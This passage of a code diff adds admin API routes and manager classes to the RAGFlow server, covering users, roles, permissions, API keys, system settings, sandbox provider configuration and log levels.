+        if not data or "new_password" not in data:
+            return error_response("New password is required", 400)
+
+        new_password = data["new_password"]
+        msg = UserMgr.update_user_password(username, new_password)
+        return success_response(None, msg)
+
+    except AdminException as e:
+        return error_response(e.message, e.code)
+    except Exception as e:
+        return error_response(str(e), 500)
+
+
+@admin_bp.route("/users/<username>/activate", methods=["PUT"])
+@login_required
+@check_admin_auth
+def alter_user_activate_status(username):
+    try:
+        data = request.get_json()
+        if current_user.email == username:
+            return error_response(f"can't alter current user status: {username}", 409)
+        if not data or "activate_status" not in data:
+            return error_response("Activation status is required", 400)
+        activate_status = data["activate_status"]
+        msg = UserMgr.update_user_activate_status(username, activate_status)
+        return success_response(None, msg)
+    except AdminException as e:
+        return error_response(e.message, e.code)
+    except Exception as e:
+        return error_response(str(e), 500)
+
+
+@admin_bp.route("/users/<username>/admin", methods=["PUT"])
+@login_required
+@check_admin_auth
+def grant_admin(username):
+    try:
+        if current_user.email == username:
+            return error_response(f"can't grant current user: {username}", 409)
+        msg = UserMgr.grant_admin(username)
+        return success_response(None, msg)
+
+    except AdminException as e:
+        return error_response(e.message, e.code)
+    except Exception as e:
+        return error_response(str(e), 500)
+
+
+@admin_bp.route("/users/<username>/admin", methods=["DELETE"])
+@login_required
+@check_admin_auth
+def revoke_admin(username):
+    try:
+        if current_user.email == username:
+            return error_response(f"can't grant current user: {username}", 409)
+        msg = UserMgr.revoke_admin(username)
+        return success_response(None, msg)
+
+    except AdminException as e:
+        return error_response(e.message, e.code)
+    except Exception as e:
+        return error_response(str(e), 500)
+
+
+@admin_bp.route("/users/<username>", methods=["GET"])
+@login_required
+@check_admin_auth
+def get_user_details(username):
+    try:
+        user_details = UserMgr.get_user_details(username)
+        return success_response(user_details)
+
+    except AdminException as e:
+        return error_response(e.message, e.code)
+    except Exception as e:
+        return error_response(str(e), 500)
+
+
+@admin_bp.route("/users/<username>/datasets", methods=["GET"])
+@login_required
+@check_admin_auth
+def get_user_datasets(username):
+    try:
+        datasets_list = UserServiceMgr.get_user_datasets(username)
+        return success_response(datasets_list)
+
+    except AdminException as e:
+        return error_response(e.message, e.code)
+    except Exception as e:
+        return error_response(str(e), 500)
+
+
+@admin_bp.route("/users/<username>/agents", methods=["GET"])
+@login_required
+@check_admin_auth
+def get_user_agents(username):
+    try:
+        agents_list = UserServiceMgr.get_user_agents(username)
+        return success_response(agents_list)
+
+    except AdminException as e:
+        return error_response(e.message, e.code)
+    except Exception as e:
+        return error_response(str(e), 500)
+
+
+@admin_bp.route("/services", methods=["GET"])
+@login_required
+@check_admin_auth
+def get_services():
+    try:
+        services = ServiceMgr.get_all_services()
+        return success_response(services, "Get all services", 0)
+    except Exception as e:
+        return error_response(str(e), 500)
+
+
+@admin_bp.route("/service_types/<service_type>", methods=["GET"])
+@login_required
+@check_admin_auth
+def get_services_by_type(service_type_str):
+    try:
+        services = ServiceMgr.get_services_by_type(service_type_str)
+        return success_response(services)
+    except Exception as e:
+        return error_response(str(e), 500)
+
+
+@admin_bp.route("/services/<service_id>", methods=["GET"])
+@login_required
+@check_admin_auth
+def get_service(service_id):
+    try:
+        services = ServiceMgr.get_service_details(service_id)
+        return success_response(services)
+    except Exception as e:
+        return error_response(str(e), 500)
+
+
+@admin_bp.route("/services/<service_id>", methods=["DELETE"])
+@login_required
+@check_admin_auth
+def shutdown_service(service_id):
+    try:
+        services = ServiceMgr.shutdown_service(service_id)
+        return success_response(services)
+    except Exception as e:
+        return error_response(str(e), 500)
+
+
+@admin_bp.route("/services/<service_id>", methods=["PUT"])
+@login_required
+@check_admin_auth
+def restart_service(service_id):
+    try:
+        services = ServiceMgr.restart_service(service_id)
+        return success_response(services)
+    except Exception as e:
+        return error_response(str(e), 500)
+
+
+@admin_bp.route("/roles", methods=["POST"])
+@login_required
+@check_admin_auth
+def create_role():
+    try:
+        data = request.get_json()
+        if not data or "role_name" not in data:
+            return error_response("Role name is required", 400)
+        role_name: str = data["role_name"]
+        description: str = data["description"]
+        res = RoleMgr.create_role(role_name, description)
+        return success_response(res)
+    except Exception as e:
+        return error_response(str(e), 500)
+
+
+@admin_bp.route("/roles/<role_name>", methods=["PUT"])
+@login_required
+@check_admin_auth
+def update_role(role_name: str):
+    try:
+        data = request.get_json()
+        if not data or "description" not in data:
+            return error_response("Role description is required", 400)
+        description: str = data["description"]
+        res = RoleMgr.update_role_description(role_name, description)
+        return success_response(res)
+    except Exception as e:
+        return error_response(str(e), 500)
+
+
+@admin_bp.route("/roles/<role_name>", methods=["DELETE"])
+@login_required
+@check_admin_auth
+def delete_role(role_name: str):
+    try:
+        res = RoleMgr.delete_role(role_name)
+        return success_response(res)
+    except Exception as e:
+        return error_response(str(e), 500)
+
+
+@admin_bp.route("/roles", methods=["GET"])
+@login_required
+@check_admin_auth
+def list_roles():
+    try:
+        res = RoleMgr.list_roles()
+        return success_response(res)
+    except Exception as e:
+        return error_response(str(e), 500)
+
+
+@admin_bp.route("/roles/<role_name>/permission", methods=["GET"])
+@login_required
+@check_admin_auth
+def get_role_permission(role_name: str):
+    try:
+        res = RoleMgr.get_role_permission(role_name)
+        return success_response(res)
+    except Exception as e:
+        return error_response(str(e), 500)
+
+
+@admin_bp.route("/roles/<role_name>/permission", methods=["POST"])
+@login_required
+@check_admin_auth
+def grant_role_permission(role_name: str):
+    try:
+        data = request.get_json()
+        if not data or "actions" not in data or "resource" not in data:
+            return error_response("Permission is required", 400)
+        actions: list = data["actions"]
+        resource: str = data["resource"]
+        res = RoleMgr.grant_role_permission(role_name, actions, resource)
+        return success_response(res)
+    except Exception as e:
+        return error_response(str(e), 500)
+
+
+@admin_bp.route("/roles/<role_name>/permission", methods=["DELETE"])
+@login_required
+@check_admin_auth
+def revoke_role_permission(role_name: str):
+    try:
+        data = request.get_json()
+        if not data or "actions" not in data or "resource" not in data:
+            return error_response("Permission is required", 400)
+        actions: list = data["actions"]
+        resource: str = data["resource"]
+        res = RoleMgr.revoke_role_permission(role_name, actions, resource)
+        return success_response(res)
+    except Exception as e:
+        return error_response(str(e), 500)
+
+
+@admin_bp.route("/users/<user_name>/role", methods=["PUT"])
+@login_required
+@check_admin_auth
+def update_user_role(user_name: str):
+    try:
+        data = request.get_json()
+        if not data or "role_name" not in data:
+            return error_response("Role name is required", 400)
+        role_name: str = data["role_name"]
+        res = RoleMgr.update_user_role(user_name, role_name)
+        return success_response(res)
+    except Exception as e:
+        return error_response(str(e), 500)
+
+
+@admin_bp.route("/users/<user_name>/permission", methods=["GET"])
+@login_required
+@check_admin_auth
+def get_user_permission(user_name: str):
+    try:
+        res = RoleMgr.get_user_permission(user_name)
+        return success_response(res)
+    except Exception as e:
+        return error_response(str(e), 500)
+
+
+@admin_bp.route("/variables", methods=["PUT"])
+@login_required
+@check_admin_auth
+def set_variable():
+    try:
+        data = request.get_json()
+        if not data or "var_name" not in data:
+            return error_response("Var name is required", 400)
+
+        if "var_value" not in data:
+            return error_response("Var value is required", 400)
+        var_name: str = data["var_name"]
+        var_value: str = data["var_value"]
+
+        SettingsMgr.update_by_name(var_name, var_value)
+        return success_response(None, "Set variable successfully")
+    except AdminException as e:
+        return error_response(str(e), 400)
+    except Exception as e:
+        return error_response(str(e), 500)
+
+
+@admin_bp.route("/variables", methods=["GET"])
+@login_required
+@check_admin_auth
+def get_variable():
+    try:
+        if request.content_length is None or request.content_length == 0:
+            # list variables
+            res = list(SettingsMgr.get_all())
+            return success_response(res)
+
+        # get var
+        data = request.get_json()
+        if not data or "var_name" not in data:
+            return error_response("Var name is required", 400)
+        var_name: str = data["var_name"]
+        res = SettingsMgr.get_by_name(var_name)
+        return success_response(res)
+    except AdminException as e:
+        return error_response(str(e), 400)
+    except Exception as e:
+        return error_response(str(e), 500)
+
+
+@admin_bp.route("/configs", methods=["GET"])
+@login_required
+@check_admin_auth
+def get_config():
+    try:
+        res = list(ConfigMgr.get_all())
+        return success_response(res)
+    except AdminException as e:
+        return error_response(str(e), 400)
+    except Exception as e:
+        return error_response(str(e), 500)
+
+
+@admin_bp.route("/environments", methods=["GET"])
+@login_required
+@check_admin_auth
+def get_environments():
+    try:
+        res = list(EnvironmentsMgr.get_all())
+        return success_response(res)
+    except AdminException as e:
+        return error_response(str(e), 400)
+    except Exception as e:
+        return error_response(str(e), 500)
+
+
+@admin_bp.route("/users/<username>/keys", methods=["POST"])
+@login_required
+@check_admin_auth
+def generate_user_api_key(username: str) -> tuple[Response, int]:
+    try:
+        user_details: list[dict[str, Any]] = UserMgr.get_user_details(username)
+        if not user_details:
+            return error_response("User not found!", 404)
+        tenants: list[dict[str, Any]] = UserServiceMgr.get_user_tenants(username)
+        if not tenants:
+            return error_response("Tenant not found!", 404)
+        tenant_id: str = tenants[0]["tenant_id"]
+        key: str = generate_confirmation_token()
+        obj: dict[str, Any] = {
+            "tenant_id": tenant_id,
+            "token": key,
+            "beta": generate_confirmation_token().replace("ragflow-", "")[:32],
+            "create_time": current_timestamp(),
+            "create_date": datetime_format(datetime.now()),
+            "update_time": None,
+            "update_date": None,
+        }
+
+        if not UserMgr.save_api_key(obj):
+            return error_response("Failed to generate API key!", 500)
+        return success_response(obj, "API key generated successfully")
+    except AdminException as e:
+        return error_response(e.message, e.code)
+    except Exception as e:
+        return error_response(str(e), 500)
+
+
+@admin_bp.route("/users/<username>/keys", methods=["GET"])
+@login_required
+@check_admin_auth
+def get_user_api_keys(username: str) -> tuple[Response, int]:
+    try:
+        api_keys: list[dict[str, Any]] = UserMgr.get_user_api_key(username)
+        return success_response(api_keys, "Get user API keys")
+    except AdminException as e:
+        return error_response(e.message, e.code)
+    except Exception as e:
+        return error_response(str(e), 500)
+
+
+@admin_bp.route("/users/<username>/keys/<key>", methods=["DELETE"])
+@login_required
+@check_admin_auth
+def delete_user_api_key(username: str, key: str) -> tuple[Response, int]:
+    try:
+        deleted = UserMgr.delete_api_key(username, key)
+        if deleted:
+            return success_response(None, "API key deleted successfully")
+        else:
+            return error_response("API key not found or could not be deleted", 404)
+    except AdminException as e:
+        return error_response(e.message, e.code)
+    except Exception as e:
+        return error_response(str(e), 500)
+
+
+@admin_bp.route("/version", methods=["GET"])
+@login_required
+@check_admin_auth
+def show_version():
+    try:
+        res = {"version": get_ragflow_version()}
+        return success_response(res)
+    except Exception as e:
+        return error_response(str(e), 500)
+
+
+@admin_bp.route("/sandbox/providers", methods=["GET"])
+@login_required
+@check_admin_auth
+def list_sandbox_providers():
+    """List all available sandbox providers."""
+    try:
+        res = SandboxMgr.list_providers()
+        return success_response(res)
+    except AdminException as e:
+        return error_response(str(e), 400)
+    except Exception as e:
+        return error_response(str(e), 500)
+
+
+@admin_bp.route("/sandbox/providers/<provider_id>/schema", methods=["GET"])
+@login_required
+@check_admin_auth
+def get_sandbox_provider_schema(provider_id: str):
+    """Get configuration schema for a specific provider."""
+    try:
+        res = SandboxMgr.get_provider_config_schema(provider_id)
+        return success_response(res)
+    except AdminException as e:
+        return error_response(str(e), 400)
+    except Exception as e:
+        return error_response(str(e), 500)
+
+
+@admin_bp.route("/sandbox/config", methods=["GET"])
+@login_required
+@check_admin_auth
+def get_sandbox_config():
+    """Get current sandbox configuration."""
+    try:
+        res = SandboxMgr.get_config()
+        return success_response(res)
+    except AdminException as e:
+        return error_response(str(e), 400)
+    except Exception as e:
+        return error_response(str(e), 500)
+
+
+@admin_bp.route("/sandbox/config", methods=["POST"])
+@login_required
+@check_admin_auth
+def set_sandbox_config():
+    """Set sandbox provider configuration."""
+    try:
+        data = request.get_json()
+        if not data:
+            logging.error("set_sandbox_config: Request body is required")
+            return error_response("Request body is required", 400)
+
+        provider_type = data.get("provider_type")
+        if not provider_type:
+            logging.error("set_sandbox_config: provider_type is required")
+            return error_response("provider_type is required", 400)
+
+        config = data.get("config", {})
+        set_active = data.get("set_active", True)  # Default to True for backward compatibility
+
+        logging.info(f"set_sandbox_config: provider_type={provider_type}, set_active={set_active}")
+        logging.info(f"set_sandbox_config: config keys={list(config.keys())}")
+
+        res = SandboxMgr.set_config(provider_type, config, set_active)
+        return success_response(res, "Sandbox configuration updated successfully")
+    except AdminException as e:
+        logging.exception("set_sandbox_config AdminException")
+        return error_response(str(e), 400)
+    except Exception as e:
+        logging.exception("set_sandbox_config unexpected error")
+        return error_response(str(e), 500)
+
+
+@admin_bp.route("/sandbox/test", methods=["POST"])
+@login_required
+@check_admin_auth
+def test_sandbox_connection():
+    """Test connection to sandbox provider."""
+    try:
+        data = request.get_json()
+        if not data:
+            return error_response("Request body is required", 400)
+
+        provider_type = data.get("provider_type")
+        if not provider_type:
+            return error_response("provider_type is required", 400)
+
+        config = data.get("config", {})
+        res = SandboxMgr.test_connection(provider_type, config)
+        return success_response(res)
+    except AdminException as e:
+        return error_response(str(e), 400)
+    except Exception as e:
+        return error_response(str(e), 500)
+
+
+@admin_bp.route("/log_levels", methods=["GET"])
+@login_required
+@check_admin_auth
+def get_logger_levels():
+    """Get current log levels for all packages."""
+    try:
+        res = get_log_levels()
+        return success_response(res, "Get log levels", 0)
+    except Exception as e:
+        return error_response(str(e), 500)
+
+
+@admin_bp.route("/log_levels", methods=["PUT"])
+@login_required
+@check_admin_auth
+def set_logger_level():
+    """Set log level for a package."""
+    try:
+        data = request.get_json()
+        if not data or "pkg_name" not in data or "level" not in data:
+            return error_response("pkg_name and level are required", 400)
+
+        pkg_name = data["pkg_name"]
+        level = data["level"]
+        if not isinstance(pkg_name, str) or not isinstance(level, str):
+            return error_response("pkg_name and level must be strings", 400)
+
+        success = set_log_level(pkg_name, level)
+        if success:
+            return success_response({"pkg_name": pkg_name, "level": level}, "Log level updated successfully")
+        else:
+            return error_response(f"Invalid log level: {level}", 400)
+    except Exception as e:
+        return error_response(str(e), 500)

admin/server/services.py

@@ -0,0 +1,757 @@
+#
+#  Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+
+import json
+import os
+import logging
+import re
+from typing import Any
+
+from werkzeug.security import check_password_hash
+from common.constants import ActiveEnum
+from api.db.services import UserService
+from api.db.joint_services.user_account_service import create_new_user, delete_user_data
+from api.db.services.canvas_service import UserCanvasService
+from api.db.services.user_service import TenantService, UserTenantService
+from api.db.services.knowledgebase_service import KnowledgebaseService
+from api.db.services.system_settings_service import SystemSettingsService
+from api.db.services.api_service import APITokenService
+from api.db.db_models import APIToken
+from api.utils.crypt import decrypt
+from api.utils import health_utils
+
+from api.common.exceptions import AdminException, UserAlreadyExistsError, UserNotFoundError
+from config import SERVICE_CONFIGS
+
+
+class UserMgr:
+    @staticmethod
+    def get_all_users():
+        users = UserService.get_all_users()
+        result = []
+        for user in users:
+            result.append(
+                {
+                    "email": user.email,
+                    "nickname": user.nickname,
+                    "create_date": user.create_date,
+                    "is_active": user.is_active,
+                    "is_superuser": user.is_superuser,
+                }
+            )
+        return result
+
+    @staticmethod
+    def get_user_details(username):
+        # use email to query
+        users = UserService.query_user_by_email(username)
+        result = []
+        for user in users:
+            result.append(
+                {
+                    "avatar": user.avatar,
+                    "email": user.email,
+                    "language": user.language,
+                    "last_login_time": user.last_login_time,
+                    "is_active": user.is_active,
+                    "is_anonymous": user.is_anonymous,
+                    "login_channel": user.login_channel,
+                    "status": user.status,
+                    "is_superuser": user.is_superuser,
+                    "create_date": user.create_date,
+                    "update_date": user.update_date,
+                }
+            )
+        return result
+
+    @staticmethod
+    def create_user(username, password, role="user") -> dict:
+        # Validate the email address
+        if not re.match(r"^[\w\._-]+@([\w_-]+\.)+[\w-]{2,}$", username):
+            raise AdminException(f"Invalid email address: {username}!")
+        # Check if the email address is already used
+        if UserService.query(email=username):
+            raise UserAlreadyExistsError(username)
+        # Construct user info data
+        user_info_dict = {
+            "email": username,
+            "nickname": "",  # ask user to edit it manually in settings.
+            "password": decrypt(password),
+            "login_channel": "password",
+            "is_superuser": role == "admin",
+        }
+        return create_new_user(user_info_dict)
+
+    @staticmethod
+    def delete_user(username):
+        # use email to delete
+        user_list = UserService.query_user_by_email(username)
+        if not user_list:
+            raise UserNotFoundError(username)
+        if len(user_list) > 1:
+            raise AdminException(f"Exist more than 1 user: {username}!")
+        usr = user_list[0]
+        return delete_user_data(usr.id)
+
+    @staticmethod
+    def update_user_password(username, new_password) -> str:
+        # use email to find user. check exist and unique.
+        user_list = UserService.query_user_by_email(username)
+        if not user_list:
+            raise UserNotFoundError(username)
+        elif len(user_list) > 1:
+            raise AdminException(f"Exist more than 1 user: {username}!")
+        # check new_password different from old.
+        usr = user_list[0]
+        psw = decrypt(new_password)
+        if check_password_hash(usr.password, psw):
+            return "Same password, no need to update!"
+        # update password
+        UserService.update_user_password(usr.id, psw)
+        return "Password updated successfully!"
+
+    @staticmethod
+    def update_user_activate_status(username, activate_status: str):
+        # use email to find user. check exist and unique.
+        user_list = UserService.query_user_by_email(username)
+        if not user_list:
+            raise UserNotFoundError(username)
+        elif len(user_list) > 1:
+            raise AdminException(f"Exist more than 1 user: {username}!")
+        # check activate status different from new
+        usr = user_list[0]
+        # format activate_status before handle
+        _activate_status = activate_status.lower()
+        target_status = {
+            "on": ActiveEnum.ACTIVE.value,
+            "off": ActiveEnum.INACTIVE.value,
+        }.get(_activate_status)
+        if not target_status:
+            raise AdminException(f"Invalid activate_status: {activate_status}")
+        if target_status == usr.is_active:
+            return f"User activate status is already {_activate_status}!"
+        # update is_active
+        UserService.update_user(usr.id, {"is_active": target_status})
+        return f"Turn {_activate_status} user activate status successfully!"
+
+    @staticmethod
+    def get_user_api_key(username: str) -> list[dict[str, Any]]:
+        # use email to find user. check exist and unique.
+        user_list: list[Any] = UserService.query_user_by_email(username)
+        if not user_list:
+            raise UserNotFoundError(username)
+        elif len(user_list) > 1:
+            raise AdminException(f"More than one user with username '{username}' found!")
+
+        usr: Any = user_list[0]
+        # tenant_id is typically the same as user_id for the owner tenant
+        tenant_id: str = usr.id
+
+        # Query all API keys for this tenant
+        api_keys: Any = APITokenService.query(tenant_id=tenant_id)
+
+        result: list[dict[str, Any]] = []
+        for key in api_keys:
+            result.append(key.to_dict())
+
+        return result
+
+    @staticmethod
+    def save_api_key(api_key: dict[str, Any]) -> bool:
+        return APITokenService.save(**api_key)
+
+    @staticmethod
+    def delete_api_key(username: str, key: str) -> bool:
+        # use email to find user. check exist and unique.
+        user_list: list[Any] = UserService.query_user_by_email(username)
+        if not user_list:
+            raise UserNotFoundError(username)
+        elif len(user_list) > 1:
+            raise AdminException(f"Exist more than 1 user: {username}!")
+
+        usr: Any = user_list[0]
+        # tenant_id is typically the same as user_id for the owner tenant
+        tenant_id: str = usr.id
+
+        # Delete the API key
+        deleted_count: int = APITokenService.filter_delete([APIToken.tenant_id == tenant_id, APIToken.token == key])
+        return deleted_count > 0
+
+    @staticmethod
+    def grant_admin(username: str):
+        # use email to find user. check exist and unique.
+        user_list = UserService.query_user_by_email(username)
+        if not user_list:
+            raise UserNotFoundError(username)
+        elif len(user_list) > 1:
+            raise AdminException(f"Exist more than 1 user: {username}!")
+
+        # check activate status different from new
+        usr = user_list[0]
+        if usr.is_superuser:
+            return f"{usr} is already superuser!"
+        # update is_active
+        UserService.update_user(usr.id, {"is_superuser": True})
+        return "Grant successfully!"
+
+    @staticmethod
+    def revoke_admin(username: str):
+        # use email to find user. check exist and unique.
+        user_list = UserService.query_user_by_email(username)
+        if not user_list:
+            raise UserNotFoundError(username)
+        elif len(user_list) > 1:
+            raise AdminException(f"Exist more than 1 user: {username}!")
+        # check activate status different from new
+        usr = user_list[0]
+        if not usr.is_superuser:
+            return f"{usr} isn't superuser, yet!"
+        # update is_active
+        UserService.update_user(usr.id, {"is_superuser": False})
+        return "Revoke successfully!"
+
+
+class UserServiceMgr:
+    @staticmethod
+    def get_user_datasets(username):
+        # use email to find user.
+        user_list = UserService.query_user_by_email(username)
+        if not user_list:
+            raise UserNotFoundError(username)
+        elif len(user_list) > 1:
+            raise AdminException(f"Exist more than 1 user: {username}!")
+        # find tenants
+        usr = user_list[0]
+        tenants = TenantService.get_joined_tenants_by_user_id(usr.id)
+        tenant_ids = [m["tenant_id"] for m in tenants]
+        # filter permitted kb and owned kb
+        return KnowledgebaseService.get_all_kb_by_tenant_ids(tenant_ids, usr.id)
+
+    @staticmethod
+    def get_user_agents(username):
+        # use email to find user.
+        user_list = UserService.query_user_by_email(username)
+        if not user_list:
+            raise UserNotFoundError(username)
+        elif len(user_list) > 1:
+            raise AdminException(f"Exist more than 1 user: {username}!")
+        # find tenants
+        usr = user_list[0]
+        tenants = TenantService.get_joined_tenants_by_user_id(usr.id)
+        tenant_ids = [m["tenant_id"] for m in tenants]
+        # filter permitted agents and owned agents
+        res = UserCanvasService.get_all_agents_by_tenant_ids(tenant_ids, usr.id)
+        return [{"title": r["title"], "permission": r["permission"], "canvas_category": r["canvas_category"].split("_")[0], "avatar": r["avatar"]} for r in res]
+
+    @staticmethod
+    def get_user_tenants(email: str) -> list[dict[str, Any]]:
+        users: list[Any] = UserService.query_user_by_email(email)
+        if not users:
+            raise UserNotFoundError(email)
+        user: Any = users[0]
+
+        tenants: list[dict[str, Any]] = UserTenantService.get_tenants_by_user_id(user.id)
+        return tenants
+
+
+class ServiceMgr:
+    @staticmethod
+    def get_all_services():
+        doc_engine = os.getenv("DOC_ENGINE", "elasticsearch")
+        result = []
+        configs = SERVICE_CONFIGS.configs
+        for service_id, config in enumerate(configs):
+            config_dict = config.to_dict()
+            if config_dict["service_type"] == "retrieval":
+                if config_dict["extra"]["retrieval_type"] != doc_engine:
+                    continue
+            try:
+                service_detail = ServiceMgr.get_service_details(service_id)
+                if "status" in service_detail:
+                    config_dict["status"] = service_detail["status"]
+                else:
+                    config_dict["status"] = "timeout"
+            except Exception as e:
+                logging.warning(f"Can't get service details, error: {e}")
+                config_dict["status"] = "timeout"
+            if not config_dict["host"]:
+                config_dict["host"] = "-"
+            if not config_dict["port"]:
+                config_dict["port"] = "-"
+            result.append(config_dict)
+        return result
+
+    @staticmethod
+    def get_services_by_type(service_type_str: str):
+        raise AdminException("get_services_by_type: not implemented")
+
+    @staticmethod
+    def get_service_details(service_id: int):
+        service_idx = int(service_id)
+        configs = SERVICE_CONFIGS.configs
+        if service_idx < 0 or service_idx >= len(configs):
+            raise AdminException(f"invalid service_index: {service_idx}")
+
+        service_config = configs[service_idx]
+
+        # exclude retrieval service if retrieval_type is not matched
+        doc_engine = os.getenv("DOC_ENGINE", "elasticsearch")
+        if service_config.service_type == "retrieval":
+            if service_config.retrieval_type != doc_engine:
+                raise AdminException(f"invalid service_index: {service_idx}")
+
+        service_info = {"name": service_config.name, "detail_func_name": service_config.detail_func_name}
+
+        detail_func = getattr(health_utils, service_info.get("detail_func_name"))
+        res = detail_func()
+        res.update({"service_name": service_info.get("name")})
+        return res
+
+    @staticmethod
+    def shutdown_service(service_id: int):
+        raise AdminException("shutdown_service: not implemented")
+
+    @staticmethod
+    def restart_service(service_id: int):
+        raise AdminException("restart_service: not implemented")
+
+
+class SettingsMgr:
+    @staticmethod
+    def _format_setting(setting):
+        return {
+            "data_type": setting.data_type,
+            "name": setting.name,
+            "setting_type": "config",
+            "value": setting.value,
+        }
+
+    @staticmethod
+    def _validate_value(name: str, data_type: str, value: str):
+        data_type = data_type.lower()
+        value = str(value)
+        if data_type == "string":
+            return
+        if data_type == "integer":
+            try:
+                int(value)
+            except ValueError:
+                raise AdminException(f"Invalid integer value for {name}: {value}")
+            return
+        if data_type in {"bool", "boolean"}:
+            if value not in {"true", "false"}:
+                raise AdminException(f"Invalid bool value for {name}: expected true or false")
+            return
+        if data_type == "json":
+            try:
+                json.loads(value)
+            except json.JSONDecodeError:
+                raise AdminException(f"Invalid JSON value for {name}")
+            return
+        raise AdminException(f"Unsupported data type for {name}: {data_type}")
+
+    @staticmethod
+    def _infer_data_type(name: str):
+        if name.startswith("sandbox."):
+            return "json"
+        if name.endswith(".enabled"):
+            return "bool"
+        return "string"
+
+    @staticmethod
+    def get_all():
+        settings = SystemSettingsService.get_all(reverse=False, order_by="name")
+        result = []
+        for setting in settings:
+            result.append(SettingsMgr._format_setting(setting))
+        return result
+
+    @staticmethod
+    def get_by_name(name: str):
+        settings = SystemSettingsService.get_by_name(name)
+        if len(settings) == 0:
+            settings = SystemSettingsService.get_by_name_prefix(name)
+            if len(settings) == 0:
+                raise AdminException(f"Can't get setting: {name}")
+        result = []
+        for setting in settings:
+            result.append(SettingsMgr._format_setting(setting))
+        return result
+
+    @staticmethod
+    def update_by_name(name: str, value: str):
+        settings = SystemSettingsService.get_by_name(name)
+        if len(settings) == 1:
+            setting = settings[0]
+            SettingsMgr._validate_value(name, setting.data_type, value)
+            setting.value = value
+            setting_dict = setting.to_dict()
+            SystemSettingsService.update_by_name(name, setting_dict)
+        elif len(settings) > 1:
+            raise AdminException(f"Can't update more than 1 setting: {name}")
+        else:
+            # Create new setting if it doesn't exist
+
+            # Determine data_type based on name and value
+            data_type = SettingsMgr._infer_data_type(name)
+            SettingsMgr._validate_value(name, data_type, value)
+
+            new_setting = {
+                "name": name,
+                "value": str(value),
+                "source": "admin",
+                "data_type": data_type,
+            }
+            SystemSettingsService.save(**new_setting)
+
+
+class ConfigMgr:
+    @staticmethod
+    def get_all():
+        result = []
+        configs = SERVICE_CONFIGS.configs
+        for config in configs:
+            config_dict = config.to_dict()
+            result.append(config_dict)
+        return result
+
+
+class EnvironmentsMgr:
+    @staticmethod
+    def get_all():
+        result = []
+
+        env_kv = {"env": "DOC_ENGINE", "value": os.getenv("DOC_ENGINE")}
+        result.append(env_kv)
+
+        env_kv = {"env": "DEFAULT_SUPERUSER_EMAIL", "value": os.getenv("DEFAULT_SUPERUSER_EMAIL", "admin@ragflow.io")}
+        result.append(env_kv)
+
+        env_kv = {"env": "DB_TYPE", "value": os.getenv("DB_TYPE", "mysql")}
+        result.append(env_kv)
+
+        env_kv = {"env": "DEVICE", "value": os.getenv("DEVICE", "cpu")}
+        result.append(env_kv)
+
+        env_kv = {"env": "STORAGE_IMPL", "value": os.getenv("STORAGE_IMPL", "MINIO")}
+        result.append(env_kv)
+
+        return result
+
+
+class SandboxMgr:
+    """Manager for sandbox provider configuration and operations."""
+
+    # Provider registry with metadata
+    PROVIDER_REGISTRY = {
+        "local": {
+            "name": "Local",
+            "description": "Execute code directly on the current host process.",
+            "tags": ["local", "host", "minimal"],
+        },
+        "self_managed": {
+            "name": "Self-Managed",
+            "description": "On-premise deployment using Daytona/Docker",
+            "tags": ["self-hosted", "low-latency", "secure"],
+        },
+        "ssh": {
+            "name": "SSH",
+            "description": "Execute code on a remote machine over SSH.",
+            "tags": ["remote", "ssh", "custom-runtime"],
+        },
+        "aliyun_codeinterpreter": {
+            "name": "Aliyun Code Interpreter",
+            "description": "Aliyun Function Compute Code Interpreter - Code execution in serverless microVMs",
+            "tags": ["saas", "cloud", "scalable", "aliyun"],
+        },
+        "e2b": {
+            "name": "E2B",
+            "description": "E2B Cloud - Code Execution Sandboxes",
+            "tags": ["saas", "fast", "global"],
+        },
+    }
+
+    @staticmethod
+    def list_providers():
+        """List all available sandbox providers."""
+        result = []
+        for provider_id, metadata in SandboxMgr.PROVIDER_REGISTRY.items():
+            result.append({"id": provider_id, **metadata})
+        return result
+
+    @staticmethod
+    def get_provider_config_schema(provider_id: str):
+        """Get configuration schema for a specific provider."""
+        from agent.sandbox.providers import (
+            LocalProvider,
+            SelfManagedProvider,
+            SSHProvider,
+            AliyunCodeInterpreterProvider,
+            E2BProvider,
+        )
+
+        schemas = {
+            "local": LocalProvider.get_config_schema(),
+            "self_managed": SelfManagedProvider.get_config_schema(),
+            "ssh": SSHProvider.get_config_schema(),
+            "aliyun_codeinterpreter": AliyunCodeInterpreterProvider.get_config_schema(),
+            "e2b": E2BProvider.get_config_schema(),
+        }
+
+        if provider_id not in schemas:
+            raise AdminException(f"Unknown provider: {provider_id}")
+
+        return schemas.get(provider_id, {})
+
+    @staticmethod
+    def get_config():
+        """Get current sandbox configuration."""
+        try:
+            # Get active provider type
+            provider_type_settings = SystemSettingsService.get_by_name("sandbox.provider_type")
+            if not provider_type_settings:
+                provider_type = "self_managed"
+            else:
+                provider_type = provider_type_settings[0].value
+
+            # Get provider-specific config
+            provider_config_settings = SystemSettingsService.get_by_name(f"sandbox.{provider_type}")
+            if not provider_config_settings:
+                provider_config = {}
+            else:
+                try:
+                    provider_config = json.loads(provider_config_settings[0].value)
+                except json.JSONDecodeError:
+                    provider_config = {}
+
+            if not provider_config:
+                schema = SandboxMgr.get_provider_config_schema(provider_type)
+                provider_config = {}
+                for field_name, field_schema in schema.items():
+                    if field_schema.get("readonly"):
+                        continue
+                    if field_schema.get("default") is not None:
+                        provider_config[field_name] = field_schema["default"]
+
+            return {
+                "provider_type": provider_type,
+                "config": provider_config,
+            }
+        except Exception as e:
+            raise AdminException(f"Failed to get sandbox config: {str(e)}")
+
+    @staticmethod
+    def set_config(provider_type: str, config: dict, set_active: bool = True):
+        """
+        Set sandbox provider configuration.
+
+        Args:
+            provider_type: Provider identifier (e.g., "self_managed", "e2b")
+            config: Provider configuration dictionary
+            set_active: If True, also update the active provider. If False,
+                       only update the configuration without switching providers.
+                       Default: True
+
+        Returns:
+            Dictionary with updated provider_type and config
+        """
+        from agent.sandbox.providers import (
+            LocalProvider,
+            SelfManagedProvider,
+            SSHProvider,
+            AliyunCodeInterpreterProvider,
+            E2BProvider,
+        )
+
+        try:
